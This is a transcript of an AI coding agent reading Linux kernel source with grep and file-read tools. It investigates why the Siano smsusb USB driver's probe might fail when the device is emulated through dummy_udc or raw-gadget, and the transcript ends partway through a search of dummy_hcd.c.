Okay, so I've been tasked with understanding the user's inquiry, which centers on potential initialization requirements for `dummy_udc` or `raw-gadget` that could lead to a probe failure specifically within the `smsusb` driver.

My immediate next step is to delve into the Linux kernel source code to get a comprehensive grasp of the `smsusb` driver's implementation. To do this efficiently, I'll leverage established code searching tools like `grepper` or `codesearch` to pinpoint the exact location and context of this driver within the vast kernel tree. This will allow me to analyze its probe function, any dependencies it has, and how it interacts with USB device controller (UDC) drivers.


124/7 2026/09/04 10:29 tool grepper
0m Args:
map[Expression:smsusb]

Results:
map[Output:Documentation/admin-guide/media/usb-cardlist.rst=93=s2255drv                USB Sensoray 2255 video capture device
Documentation/admin-guide/media/usb-cardlist.rst:94:smsusb                  Siano SMS1xxx based MDTV receiver
Documentation/admin-guide/media/usb-cardlist.rst-95-ttusb_dec               Technotrend/Hauppauge USB DEC devices
--
drivers/media/usb/siano/Makefile-1-# SPDX-License-Identifier: GPL-2.0-only
drivers/media/usb/siano/Makefile:2:obj-$(CONFIG_SMS_USB_DRV) += smsusb.o
drivers/media/usb/siano/Makefile-3-
--
drivers/media/usb/siano/smsusb.c=6=Copyright (C) 2005-2009, Uri Shkolnik, Anatoly Greenblat
--
drivers/media/usb/siano/smsusb.c-29-
drivers/media/usb/siano/smsusb.c:30:struct smsusb_device_t;
drivers/media/usb/siano/smsusb.c-31-
drivers/media/usb/siano/smsusb.c:32:enum smsusb_state {
drivers/media/usb/siano/smsusb.c-33-	SMSUSB_DISCONNECTED,
--
drivers/media/usb/siano/smsusb.c-37-
drivers/media/usb/siano/smsusb.c:38:struct smsusb_urb_t {
drivers/media/usb/siano/smsusb.c-39-	struct list_head entry;
drivers/media/usb/siano/smsusb.c-40-	struct smscore_buffer_t *cb;
drivers/media/usb/siano/smsusb.c:41:	struct smsusb_device_t *dev;
drivers/media/usb/siano/smsusb.c-42-
--
drivers/media/usb/siano/smsusb.c-48-
drivers/media/usb/siano/smsusb.c:49:struct smsusb_device_t {
drivers/media/usb/siano/smsusb.c-50-	struct usb_device *udev;
--
drivers/media/usb/siano/smsusb.c-52-
drivers/media/usb/siano/smsusb.c:53:	struct smsusb_urb_t	surbs[MAX_URBS];
drivers/media/usb/siano/smsusb.c-54-
--
drivers/media/usb/siano/smsusb.c-59-	unsigned char out_ep;
drivers/media/usb/siano/smsusb.c:60:	enum smsusb_state state;
drivers/media/usb/siano/smsusb.c-61-};
drivers/media/usb/siano/smsusb.c-62-
drivers/media/usb/siano/smsusb.c:63:static int smsusb_submit_urb(struct smsusb_device_t *dev,
drivers/media/usb/siano/smsusb.c:64:			     struct smsusb_urb_t *surb);
drivers/media/usb/siano/smsusb.c-65-
--
drivers/media/usb/siano/smsusb.c-67- * Completing URB's callback handler - bottom half (process context)
drivers/media/usb/siano/smsusb.c:68: * submits the URB prepared on smsusb_onresponse()
drivers/media/usb/siano/smsusb.c-69- */
drivers/media/usb/siano/smsusb.c=70=static void do_submit_urb(struct work_struct *work)
drivers/media/usb/siano/smsusb.c-71-{
drivers/media/usb/siano/smsusb.c:72:	struct smsusb_urb_t *surb = container_of(work, struct smsusb_urb_t, wq);
drivers/media/usb/siano/smsusb.c:73:	struct smsusb_device_t *dev = surb->dev;
drivers/media/usb/siano/smsusb.c-74-
drivers/media/usb/siano/smsusb.c:75:	smsusb_submit_urb(dev, surb);
drivers/media/usb/siano/smsusb.c-76-}
--
drivers/media/usb/siano/smsusb.c-85- */
drivers/media/usb/siano/smsusb.c:86:static void smsusb_onresponse(struct urb *urb)
drivers/media/usb/siano/smsusb.c-87-{
drivers/media/usb/siano/smsusb.c:88:	struct smsusb_urb_t *surb = (struct smsusb_urb_t *) urb->context;
drivers/media/usb/siano/smsusb.c:89:	struct smsusb_device_t *dev = surb->dev;
drivers/media/usb/siano/smsusb.c-90-
--
drivers/media/usb/siano/smsusb.c-149-
drivers/media/usb/siano/smsusb.c:150:static int smsusb_submit_urb(struct smsusb_device_t *dev,
drivers/media/usb/siano/smsusb.c:151:			     struct smsusb_urb_t *surb)
drivers/media/usb/siano/smsusb.c-152-{
--
drivers/media/usb/siano/smsusb.c-167-		dev->buffer_size,
drivers/media/usb/siano/smsusb.c:168:		smsusb_onresponse,
drivers/media/usb/siano/smsusb.c-169-		surb
--
drivers/media/usb/siano/smsusb.c-175-
drivers/media/usb/siano/smsusb.c:176:static void smsusb_stop_streaming(struct smsusb_device_t *dev)
drivers/media/usb/siano/smsusb.c-177-{
--
drivers/media/usb/siano/smsusb.c-191-
drivers/media/usb/siano/smsusb.c:192:static int smsusb_start_streaming(struct smsusb_device_t *dev)
drivers/media/usb/siano/smsusb.c-193-{
--
drivers/media/usb/siano/smsusb.c-196-	for (i = 0; i < MAX_URBS; i++) {
drivers/media/usb/siano/smsusb.c:197:		rc = smsusb_submit_urb(dev, &dev->surbs[i]);
drivers/media/usb/siano/smsusb.c-198-		if (rc < 0) {
drivers/media/usb/siano/smsusb.c:199:			pr_err("smsusb_submit_urb(...) failed\n");
drivers/media/usb/siano/smsusb.c:200:			smsusb_stop_streaming(dev);
drivers/media/usb/siano/smsusb.c-201-			break;
--
drivers/media/usb/siano/smsusb.c-207-
drivers/media/usb/siano/smsusb.c:208:static int smsusb_sendrequest(void *context, void *buffer, size_t size)
drivers/media/usb/siano/smsusb.c-209-{
drivers/media/usb/siano/smsusb.c:210:	struct smsusb_device_t *dev = (struct smsusb_device_t *) context;
drivers/media/usb/siano/smsusb.c-211-	struct sms_msg_hdr *phdr;
--
drivers/media/usb/siano/smsusb.c-235-
drivers/media/usb/siano/smsusb.c:236:static char *smsusb1_fw_lkup[] = {
drivers/media/usb/siano/smsusb.c-237-	"dvbt_stellar_usb.inp",
--
drivers/media/usb/siano/smsusb.c=244=static inline char *sms_get_fw_name(int mode, int board_id)
--
drivers/media/usb/siano/smsusb.c-246-	char **fw = sms_get_board(board_id)->fw;
drivers/media/usb/siano/smsusb.c:247:	return (fw && fw[mode]) ? fw[mode] : smsusb1_fw_lkup[mode];
drivers/media/usb/siano/smsusb.c-248-}
drivers/media/usb/siano/smsusb.c-249-
drivers/media/usb/siano/smsusb.c:250:static int smsusb1_load_firmware(struct usb_device *udev, int id, int board_id)
drivers/media/usb/siano/smsusb.c-251-{
--
drivers/media/usb/siano/smsusb.c-271-
drivers/media/usb/siano/smsusb.c:272:		fw_filename = smsusb1_fw_lkup[id];
drivers/media/usb/siano/smsusb.c-273-		rc = request_firmware(&fw, fw_filename, &udev->dev);
--
drivers/media/usb/siano/smsusb.c-300-
drivers/media/usb/siano/smsusb.c:301:static void smsusb1_detectmode(void *context, int *mode)
drivers/media/usb/siano/smsusb.c-302-{
drivers/media/usb/siano/smsusb.c-303-	char *product_string =
drivers/media/usb/siano/smsusb.c:304:		((struct smsusb_device_t *) context)->udev->product;
drivers/media/usb/siano/smsusb.c-305-
--
drivers/media/usb/siano/smsusb.c-322-
drivers/media/usb/siano/smsusb.c:323:static int smsusb1_setmode(void *context, int mode)
drivers/media/usb/siano/smsusb.c-324-{
--
drivers/media/usb/siano/smsusb.c-332-
drivers/media/usb/siano/smsusb.c:333:	return smsusb_sendrequest(context, &msg, sizeof(msg));
drivers/media/usb/siano/smsusb.c-334-}
drivers/media/usb/siano/smsusb.c-335-
drivers/media/usb/siano/smsusb.c:336:static void smsusb_term_device(struct usb_interface *intf)
drivers/media/usb/siano/smsusb.c-337-{
drivers/media/usb/siano/smsusb.c:338:	struct smsusb_device_t *dev = usb_get_intfdata(intf);
drivers/media/usb/siano/smsusb.c-339-
--
drivers/media/usb/siano/smsusb.c-344-
drivers/media/usb/siano/smsusb.c:345:		smsusb_stop_streaming(dev);
drivers/media/usb/siano/smsusb.c-346-
--
drivers/media/usb/siano/smsusb.c-360-
drivers/media/usb/siano/smsusb.c:361:static void *siano_media_device_register(struct smsusb_device_t *dev,
drivers/media/usb/siano/smsusb.c-362-					int board_id)
--
drivers/media/usb/siano/smsusb.c-390-
drivers/media/usb/siano/smsusb.c:391:static int smsusb_init_device(struct usb_interface *intf, int board_id)
drivers/media/usb/siano/smsusb.c-392-{
drivers/media/usb/siano/smsusb.c-393-	struct smsdevice_params_t params;
drivers/media/usb/siano/smsusb.c:394:	struct smsusb_device_t *dev;
drivers/media/usb/siano/smsusb.c-395-	void *mdev;
--
drivers/media/usb/siano/smsusb.c-399-	/* create device object */
drivers/media/usb/siano/smsusb.c:400:	dev = kzalloc_obj(struct smsusb_device_t);
drivers/media/usb/siano/smsusb.c-401-	if (!dev)
--
drivers/media/usb/siano/smsusb.c-422-	if (!dev->in_ep || !dev->out_ep || align < 0) {  /* Missing endpoints? */
drivers/media/usb/siano/smsusb.c:423:		smsusb_term_device(intf);
drivers/media/usb/siano/smsusb.c-424-		return -ENODEV;
--
drivers/media/usb/siano/smsusb.c-432-
drivers/media/usb/siano/smsusb.c:433:		params.setmode_handler = smsusb1_setmode;
drivers/media/usb/siano/smsusb.c:434:		params.detectmode_handler = smsusb1_detectmode;
drivers/media/usb/siano/smsusb.c-435-		break;
--
drivers/media/usb/siano/smsusb.c-450-	params.num_buffers = MAX_BUFFERS;
drivers/media/usb/siano/smsusb.c:451:	params.sendrequest_handler = smsusb_sendrequest;
drivers/media/usb/siano/smsusb.c-452-	params.context = dev;
--
drivers/media/usb/siano/smsusb.c-475-
drivers/media/usb/siano/smsusb.c:476:	pr_debug("smsusb_start_streaming(...).\n");
drivers/media/usb/siano/smsusb.c:477:	rc = smsusb_start_streaming(dev);
drivers/media/usb/siano/smsusb.c-478-	if (rc < 0) {
drivers/media/usb/siano/smsusb.c:479:		pr_err("smsusb_start_streaming(...) failed\n");
drivers/media/usb/siano/smsusb.c-480-		goto err_unregister_device;
--
drivers/media/usb/siano/smsusb.c-495-err_unregister_device:
drivers/media/usb/siano/smsusb.c:496:	/* smsusb_term_device() frees any allocated urb. */
drivers/media/usb/siano/smsusb.c:497:	smsusb_term_device(intf);
drivers/media/usb/siano/smsusb.c-498-#ifdef CONFIG_MEDIA_CONTROLLER_DVB
--
drivers/media/usb/siano/smsusb.c-504-
drivers/media/usb/siano/smsusb.c:505:static int smsusb_probe(struct usb_interface *intf,
drivers/media/usb/siano/smsusb.c-506-			const struct usb_device_id *id)
--
drivers/media/usb/siano/smsusb.c-533-
drivers/media/usb/siano/smsusb.c:534:	pr_debug("smsusb_probe %d\n",
drivers/media/usb/siano/smsusb.c-535-	       intf->cur_altsetting->desc.bInterfaceNumber);
--
drivers/media/usb/siano/smsusb.c-561-			devpath);
drivers/media/usb/siano/smsusb.c:562:		rc = smsusb1_load_firmware(
drivers/media/usb/siano/smsusb.c-563-				udev, smscore_registry_getmode(devpath),
--
drivers/media/usb/siano/smsusb.c-574-	} else {
drivers/media/usb/siano/smsusb.c:575:		rc = smsusb_init_device(intf, id->driver_info);
drivers/media/usb/siano/smsusb.c-576-	}
--
drivers/media/usb/siano/smsusb.c-582-
drivers/media/usb/siano/smsusb.c:583:static void smsusb_disconnect(struct usb_interface *intf)
drivers/media/usb/siano/smsusb.c-584-{
drivers/media/usb/siano/smsusb.c:585:	smsusb_term_device(intf);
drivers/media/usb/siano/smsusb.c-586-}
drivers/media/usb/siano/smsusb.c-587-
drivers/media/usb/siano/smsusb.c:588:static int smsusb_suspend(struct usb_interface *intf, pm_message_t msg)
drivers/media/usb/siano/smsusb.c-589-{
drivers/media/usb/siano/smsusb.c:590:	struct smsusb_device_t *dev = usb_get_intfdata(intf);
drivers/media/usb/siano/smsusb.c-591-	printk(KERN_INFO "%s  Entering status %d.\n", __func__, msg.event);
--
drivers/media/usb/siano/smsusb.c-593-	/*smscore_set_power_mode(dev, SMS_POWER_MODE_SUSPENDED);*/
drivers/media/usb/siano/smsusb.c:594:	smsusb_stop_streaming(dev);
drivers/media/usb/siano/smsusb.c-595-	return 0;
--
drivers/media/usb/siano/smsusb.c-597-
drivers/media/usb/siano/smsusb.c:598:static int smsusb_resume(struct usb_interface *intf)
drivers/media/usb/siano/smsusb.c-599-{
drivers/media/usb/siano/smsusb.c-600-	int rc, i;
drivers/media/usb/siano/smsusb.c:601:	struct smsusb_device_t *dev = usb_get_intfdata(intf);
drivers/media/usb/siano/smsusb.c-602-	struct usb_device *udev = interface_to_usbdev(intf);
--
drivers/media/usb/siano/smsusb.c-624-
drivers/media/usb/siano/smsusb.c:625:	smsusb_start_streaming(dev);
drivers/media/usb/siano/smsusb.c-626-	return 0;
--
drivers/media/usb/siano/smsusb.c-628-
drivers/media/usb/siano/smsusb.c:629:static const struct usb_device_id smsusb_id_table[] = {
drivers/media/usb/siano/smsusb.c-630-	/* This device is only present before firmware load */
--
drivers/media/usb/siano/smsusb.c-719-
drivers/media/usb/siano/smsusb.c:720:MODULE_DEVICE_TABLE(usb, smsusb_id_table);
drivers/media/usb/siano/smsusb.c-721-
drivers/media/usb/siano/smsusb.c:722:static struct usb_driver smsusb_driver = {
drivers/media/usb/siano/smsusb.c:723:	.name			= "smsusb",
drivers/media/usb/siano/smsusb.c:724:	.probe			= smsusb_probe,
drivers/media/usb/siano/smsusb.c:725:	.disconnect		= smsusb_disconnect,
drivers/media/usb/siano/smsusb.c:726:	.id_table		= smsusb_id_table,
drivers/media/usb/siano/smsusb.c-727-
drivers/media/usb/siano/smsusb.c:728:	.suspend		= smsusb_suspend,
drivers/media/usb/siano/smsusb.c:729:	.resume			= smsusb_resume,
drivers/media/usb/siano/smsusb.c-730-};
drivers/media/usb/siano/smsusb.c-731-
drivers/media/usb/siano/smsusb.c:732:module_usb_driver(smsusb_driver);
drivers/media/usb/siano/smsusb.c-733-
]

125/7 2026/09/04 10:29 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 7696
							output: 41
							thoughts: 91
						

Thoughts:
**My Thought Process on Investigating the `smsusb` Driver**

Okay, my immediate plan is to dive into the `drivers/media/usb/siano/smsusb.c` file. My primary goal here is to get a deep understanding of the `smsusb` driver's probe function. I need to figure out precisely what happens when it tries to initialize, and crucially, where the potential failure points lie within that process.

While I'm in there, I'm also going to be actively searching for any references to specific concepts that might be relevant to USB gadget functionality. I'll be on the lookout for mentions of `dummy_udc`, `raw-gadget`, USB gadget speed settings, how endpoints are configured, any module parameters or setup related to `dummy_udc`, and generally anything that hints at USB emulation capabilities.

Before I get too sidetracked with the gadget-specific keywords, though, my absolute first step has to be to thoroughly read through `smsusb.c` itself. It's the core of this investigation.


126/7 2026/09/04 10:30 tool read-file
0m Args:
map[File:drivers/media/usb/siano/smsusb.c FirstLine:500 LineCount:85]

Results:
map[Contents: 500:	#endif
 501:		kfree(mdev);
 502:		return rc;
 503:	}
 504:	
 505:	static int smsusb_probe(struct usb_interface *intf,
 506:				const struct usb_device_id *id)
 507:	{
 508:		struct usb_device *udev = interface_to_usbdev(intf);
 509:		char devpath[32];
 510:		int i, rc;
 511:	
 512:		pr_info("board id=%lu, interface number %d\n",
 513:			 id->driver_info,
 514:			 intf->cur_altsetting->desc.bInterfaceNumber);
 515:	
 516:		if (sms_get_board(id->driver_info)->intf_num !=
 517:		    intf->cur_altsetting->desc.bInterfaceNumber) {
 518:			pr_debug("interface %d won't be used. Expecting interface %d to popup\n",
 519:				intf->cur_altsetting->desc.bInterfaceNumber,
 520:				sms_get_board(id->driver_info)->intf_num);
 521:			return -ENODEV;
 522:		}
 523:	
 524:		if (intf->num_altsetting > 1) {
 525:			rc = usb_set_interface(udev,
 526:					       intf->cur_altsetting->desc.bInterfaceNumber,
 527:					       0);
 528:			if (rc < 0) {
 529:				pr_err("usb_set_interface failed, rc %d\n", rc);
 530:				return rc;
 531:			}
 532:		}
 533:	
 534:		pr_debug("smsusb_probe %d\n",
 535:		       intf->cur_altsetting->desc.bInterfaceNumber);
 536:		for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; i++) {
 537:			pr_debug("endpoint %d %02x %02x %d\n", i,
 538:			       intf->cur_altsetting->endpoint[i].desc.bEndpointAddress,
 539:			       intf->cur_altsetting->endpoint[i].desc.bmAttributes,
 540:			       intf->cur_altsetting->endpoint[i].desc.wMaxPacketSize);
 541:			if (intf->cur_altsetting->endpoint[i].desc.bEndpointAddress &
 542:			    USB_DIR_IN)
 543:				rc = usb_clear_halt(udev, usb_rcvbulkpipe(udev,
 544:					intf->cur_altsetting->endpoint[i].desc.bEndpointAddress));
 545:			else
 546:				rc = usb_clear_halt(udev, usb_sndbulkpipe(udev,
 547:					intf->cur_altsetting->endpoint[i].desc.bEndpointAddress));
 548:		}
 549:		if ((udev->actconfig->desc.bNumInterfaces == 2) &&
 550:		    (intf->cur_altsetting->desc.bInterfaceNumber == 0)) {
 551:			pr_debug("rom interface 0 is not used\n");
 552:			return -ENODEV;
 553:		}
 554:	
 555:		if (id->driver_info == SMS1XXX_BOARD_SIANO_STELLAR_ROM) {
 556:			/* Detected a Siano Stellar uninitialized */
 557:	
 558:			snprintf(devpath, sizeof(devpath), "usb\\%d-%s",
 559:				 udev->bus->busnum, udev->devpath);
 560:			pr_info("stellar device in cold state was found at %s.\n",
 561:				devpath);
 562:			rc = smsusb1_load_firmware(
 563:					udev, smscore_registry_getmode(devpath),
 564:					id->driver_info);
 565:	
 566:			/* This device will reset and gain another USB ID */
 567:			if (!rc)
 568:				pr_info("stellar device now in warm state\n");
 569:			else
 570:				pr_err("Failed to put stellar in warm state. Error: %d\n",
 571:				       rc);
 572:	
 573:			return rc;
 574:		} else {
 575:			rc = smsusb_init_device(intf, id->driver_info);
 576:		}
 577:	
 578:		pr_info("Device initialized with return code %d\n", rc);
 579:		sms_board_load_modules(id->driver_info);
 580:		return rc;
 581:	}
 582:	
 583:	static void smsusb_disconnect(struct usb_interface *intf)
 584:	{
]

127/7 2026/09/04 10:30 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 9227
							output: 42
							thoughts: 23
						

Thoughts:
**My Thought Process on Deconstructing smsusb.c**

Alright, my immediate next step, having processed the preceding sections, is to dive into the remainder of the `smsusb.c` file. My focus here is specifically on understanding the `smsusb_init_device` function, along with any other initialization routines or related peripheral interactions that are defined within the codebase. I'm keen to see how the USB device itself is brought online, how its endpoints are configured, and what low-level hardware setup is being performed to make it functional within the system. This will undoubtedly reveal the core mechanics of how the driver establishes communication and prepares the device for data transfer.


128/7 2026/09/04 10:30 tool read-file
0m Args:
map[File:drivers/media/usb/siano/smsusb.c FirstLine:390 LineCount:110]

Results:
map[Contents: 390:	
 391:	static int smsusb_init_device(struct usb_interface *intf, int board_id)
 392:	{
 393:		struct smsdevice_params_t params;
 394:		struct smsusb_device_t *dev;
 395:		void *mdev;
 396:		int i, rc;
 397:		int align = 0;
 398:	
 399:		/* create device object */
 400:		dev = kzalloc_obj(struct smsusb_device_t);
 401:		if (!dev)
 402:			return -ENOMEM;
 403:	
 404:		memset(&params, 0, sizeof(params));
 405:		usb_set_intfdata(intf, dev);
 406:		dev->udev = interface_to_usbdev(intf);
 407:		dev->state = SMSUSB_DISCONNECTED;
 408:	
 409:		for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; i++) {
 410:			struct usb_endpoint_descriptor *desc =
 411:					&intf->cur_altsetting->endpoint[i].desc;
 412:	
 413:			if (desc->bEndpointAddress & USB_DIR_IN) {
 414:				dev->in_ep = desc->bEndpointAddress;
 415:				align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr);
 416:			} else {
 417:				dev->out_ep = desc->bEndpointAddress;
 418:			}
 419:		}
 420:	
 421:		pr_debug("in_ep = %02x, out_ep = %02x\n", dev->in_ep, dev->out_ep);
 422:		if (!dev->in_ep || !dev->out_ep || align < 0) {  /* Missing endpoints? */
 423:			smsusb_term_device(intf);
 424:			return -ENODEV;
 425:		}
 426:	
 427:		params.device_type = sms_get_board(board_id)->type;
 428:	
 429:		switch (params.device_type) {
 430:		case SMS_STELLAR:
 431:			dev->buffer_size = USB1_BUFFER_SIZE;
 432:	
 433:			params.setmode_handler = smsusb1_setmode;
 434:			params.detectmode_handler = smsusb1_detectmode;
 435:			break;
 436:		case SMS_UNKNOWN_TYPE:
 437:			pr_err("Unspecified sms device type!\n");
 438:			fallthrough;
 439:		default:
 440:			dev->buffer_size = USB2_BUFFER_SIZE;
 441:			dev->response_alignment = align;
 442:	
 443:			params.flags |= SMS_DEVICE_FAMILY2;
 444:			break;
 445:		}
 446:	
 447:		params.device = &dev->udev->dev;
 448:		params.usb_device = dev->udev;
 449:		params.buffer_size = dev->buffer_size;
 450:		params.num_buffers = MAX_BUFFERS;
 451:		params.sendrequest_handler = smsusb_sendrequest;
 452:		params.context = dev;
 453:		usb_make_path(dev->udev, params.devpath, sizeof(params.devpath));
 454:	
 455:		mdev = siano_media_device_register(dev, board_id);
 456:	
 457:		/* register in smscore */
 458:		rc = smscore_register_device(&params, &dev->coredev, 0, mdev);
 459:		if (rc < 0) {
 460:			pr_err("smscore_register_device(...) failed, rc %d\n", rc);
 461:			goto err_unregister_device;
 462:		}
 463:	
 464:		smscore_set_board_id(dev->coredev, board_id);
 465:	
 466:		dev->coredev->is_usb_device = true;
 467:	
 468:		/* initialize urbs */
 469:		for (i = 0; i < MAX_URBS; i++) {
 470:			dev->surbs[i].dev = dev;
 471:			dev->surbs[i].urb = usb_alloc_urb(0, GFP_KERNEL);
 472:			if (!dev->surbs[i].urb)
 473:				goto err_unregister_device;
 474:		}
 475:	
 476:		pr_debug("smsusb_start_streaming(...).\n");
 477:		rc = smsusb_start_streaming(dev);
 478:		if (rc < 0) {
 479:			pr_err("smsusb_start_streaming(...) failed\n");
 480:			goto err_unregister_device;
 481:		}
 482:	
 483:		dev->state = SMSUSB_ACTIVE;
 484:	
 485:		rc = smscore_start_device(dev->coredev);
 486:		if (rc < 0) {
 487:			pr_err("smscore_start_device(...) failed\n");
 488:			goto err_unregister_device;
 489:		}
]

129/7 2026/09/04 10:30 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 10836
							output: 18
							thoughts: 172
						

Thoughts:
**My Thought Process on Investigating the `smsusb` Driver**

My immediate inclination is to trace the execution flow of the `smsusb` driver, specifically focusing on its initialization and operational functions like `smsusb_probe`, `smsusb_init_device`, `smsusb1_load_firmware`, `smscore_start_device`, and `smsusb_start_streaming`. I want to understand how the device is brought online, how firmware is handled, and when streaming commences.

However, before diving too deep into the code itself, I recognize the value of context and prior investigation. I need to see if others have already explored similar areas or encountered relevant issues. Therefore, my next step is to consult the Git history. I'll be looking for commits, comments within the code, or discussions on mailing lists like syzkaller or topics related to `dummy_udc` and `raw-gadget`. This will help me understand the evolution of the code, any identified bugs, or specific design decisions.

In parallel, I also want to gain a broader understanding of the `dummy_udc` and `raw-gadget` components themselves. I'll search the codebase for these terms, not just within the `smsusb` driver but also in related drivers or core kernel modules, to understand their purpose and how they are intended to be used.

To consolidate this search, I'll employ `grep` across the entire kernel source tree. My targets will be the terms `dummy_udc`, `smsusb`, `raw-gadget`, and `raw_gadget`. This broad search will help me uncover any occurrences, relationships, or configurations that might be relevant to my investigation of the `smsusb` driver's functionality, especially in relation to these gadget frameworks.


130/7 2026/09/04 10:30 tool grepper
0m Args:
map[Expression:dummy_udc]

Results:
map[Output:Documentation/sound/designs/midi-2.0.rst=465=Finally, link the configuration and enable it::
--
Documentation/sound/designs/midi-2.0.rst-467-  % ln -s functions/midi2.usb0 configs/c.1
Documentation/sound/designs/midi-2.0.rst:468:  % echo dummy_udc.0 > UDC
Documentation/sound/designs/midi-2.0.rst-469-
Documentation/sound/designs/midi-2.0.rst:470:where `dummy_udc.0` is an example case and it differs depending on the
Documentation/sound/designs/midi-2.0.rst-471-system.  You can find the UDC instances in `/sys/class/udc` and pass
Documentation/sound/designs/midi-2.0.rst=472=the found name instead::
--
Documentation/sound/designs/midi-2.0.rst-474-  % ls /sys/class/udc
Documentation/sound/designs/midi-2.0.rst:475:  dummy_udc.0
Documentation/sound/designs/midi-2.0.rst-476-
--
drivers/usb/gadget/udc/dummy_hcd.c=57=static const char	driver_desc[] = "USB Host+Gadget Emulator";
drivers/usb/gadget/udc/dummy_hcd.c-58-
drivers/usb/gadget/udc/dummy_hcd.c:59:static const char	gadget_name[] = "dummy_udc";
drivers/usb/gadget/udc/dummy_hcd.c-60-
--
drivers/usb/gadget/udc/dummy_hcd.c=901=static int dummy_set_selfpowered(struct usb_gadget *_gadget, int value)
--
drivers/usb/gadget/udc/dummy_hcd.c-913-
drivers/usb/gadget/udc/dummy_hcd.c:914:static void dummy_udc_update_ep0(struct dummy *dum)
drivers/usb/gadget/udc/dummy_hcd.c-915-{
--
drivers/usb/gadget/udc/dummy_hcd.c=922=static int dummy_pullup(struct usb_gadget *_gadget, int value)
--
drivers/usb/gadget/udc/dummy_hcd.c-939-
drivers/usb/gadget/udc/dummy_hcd.c:940:static void dummy_udc_set_speed(struct usb_gadget *_gadget,
drivers/usb/gadget/udc/dummy_hcd.c-941-		enum usb_device_speed speed)
--
drivers/usb/gadget/udc/dummy_hcd.c-946-	dum->gadget.speed = speed;
drivers/usb/gadget/udc/dummy_hcd.c:947:	dummy_udc_update_ep0(dum);
drivers/usb/gadget/udc/dummy_hcd.c-948-}
drivers/usb/gadget/udc/dummy_hcd.c-949-
drivers/usb/gadget/udc/dummy_hcd.c:950:static void dummy_udc_async_callbacks(struct usb_gadget *_gadget, bool enable)
drivers/usb/gadget/udc/dummy_hcd.c-951-{
--
drivers/usb/gadget/udc/dummy_hcd.c-972-
drivers/usb/gadget/udc/dummy_hcd.c:973:static int dummy_udc_start(struct usb_gadget *g,
drivers/usb/gadget/udc/dummy_hcd.c-974-		struct usb_gadget_driver *driver);
drivers/usb/gadget/udc/dummy_hcd.c:975:static int dummy_udc_stop(struct usb_gadget *g);
drivers/usb/gadget/udc/dummy_hcd.c-976-
drivers/usb/gadget/udc/dummy_hcd.c=977=static const struct usb_gadget_ops dummy_ops = {
--
drivers/usb/gadget/udc/dummy_hcd.c-981-	.pullup		= dummy_pullup,
drivers/usb/gadget/udc/dummy_hcd.c:982:	.udc_start	= dummy_udc_start,
drivers/usb/gadget/udc/dummy_hcd.c:983:	.udc_stop	= dummy_udc_stop,
drivers/usb/gadget/udc/dummy_hcd.c:984:	.udc_set_speed	= dummy_udc_set_speed,
drivers/usb/gadget/udc/dummy_hcd.c:985:	.udc_async_callbacks = dummy_udc_async_callbacks,
drivers/usb/gadget/udc/dummy_hcd.c-986-};
--
drivers/usb/gadget/udc/dummy_hcd.c=1000=static DEVICE_ATTR_RO(function);
--
drivers/usb/gadget/udc/dummy_hcd.c-1017-
drivers/usb/gadget/udc/dummy_hcd.c:1018:static int dummy_udc_start(struct usb_gadget *g,
drivers/usb/gadget/udc/dummy_hcd.c-1019-		struct usb_gadget_driver *driver)
--
drivers/usb/gadget/udc/dummy_hcd.c-1049-
drivers/usb/gadget/udc/dummy_hcd.c:1050:static int dummy_udc_stop(struct usb_gadget *g)
drivers/usb/gadget/udc/dummy_hcd.c-1051-{
--
drivers/usb/gadget/udc/dummy_hcd.c-1067- * released along with it. */
drivers/usb/gadget/udc/dummy_hcd.c:1068:static void init_dummy_udc_hw(struct dummy *dum)
drivers/usb/gadget/udc/dummy_hcd.c-1069-{
--
drivers/usb/gadget/udc/dummy_hcd.c-1100-
drivers/usb/gadget/udc/dummy_hcd.c:1101:static int dummy_udc_probe(struct platform_device *pdev)
drivers/usb/gadget/udc/dummy_hcd.c-1102-{
--
drivers/usb/gadget/udc/dummy_hcd.c-1118-	dum->gadget.dev.parent = &pdev->dev;
drivers/usb/gadget/udc/dummy_hcd.c:1119:	init_dummy_udc_hw(dum);
drivers/usb/gadget/udc/dummy_hcd.c-1120-
--
drivers/usb/gadget/udc/dummy_hcd.c-1136-
drivers/usb/gadget/udc/dummy_hcd.c:1137:static void dummy_udc_remove(struct platform_device *pdev)
drivers/usb/gadget/udc/dummy_hcd.c-1138-{
--
drivers/usb/gadget/udc/dummy_hcd.c-1144-
drivers/usb/gadget/udc/dummy_hcd.c:1145:static void dummy_udc_pm(struct dummy *dum, struct dummy_hcd *dum_hcd,
drivers/usb/gadget/udc/dummy_hcd.c-1146-		int suspend)
--
drivers/usb/gadget/udc/dummy_hcd.c-1153-
drivers/usb/gadget/udc/dummy_hcd.c:1154:static int dummy_udc_suspend(struct platform_device *pdev, pm_message_t state)
drivers/usb/gadget/udc/dummy_hcd.c-1155-{
--
drivers/usb/gadget/udc/dummy_hcd.c-1159-	dev_dbg(&pdev->dev, "%s\n", __func__);
drivers/usb/gadget/udc/dummy_hcd.c:1160:	dummy_udc_pm(dum, dum_hcd, 1);
drivers/usb/gadget/udc/dummy_hcd.c-1161-	usb_hcd_poll_rh_status(dummy_hcd_to_hcd(dum_hcd));
--
drivers/usb/gadget/udc/dummy_hcd.c-1164-
drivers/usb/gadget/udc/dummy_hcd.c:1165:static int dummy_udc_resume(struct platform_device *pdev)
drivers/usb/gadget/udc/dummy_hcd.c-1166-{
--
drivers/usb/gadget/udc/dummy_hcd.c-1170-	dev_dbg(&pdev->dev, "%s\n", __func__);
drivers/usb/gadget/udc/dummy_hcd.c:1171:	dummy_udc_pm(dum, dum_hcd, 0);
drivers/usb/gadget/udc/dummy_hcd.c-1172-	usb_hcd_poll_rh_status(dummy_hcd_to_hcd(dum_hcd));
--
drivers/usb/gadget/udc/dummy_hcd.c-1175-
drivers/usb/gadget/udc/dummy_hcd.c:1176:static struct platform_driver dummy_udc_driver = {
drivers/usb/gadget/udc/dummy_hcd.c:1177:	.probe		= dummy_udc_probe,
drivers/usb/gadget/udc/dummy_hcd.c:1178:	.remove		= dummy_udc_remove,
drivers/usb/gadget/udc/dummy_hcd.c:1179:	.suspend	= dummy_udc_suspend,
drivers/usb/gadget/udc/dummy_hcd.c:1180:	.resume		= dummy_udc_resume,
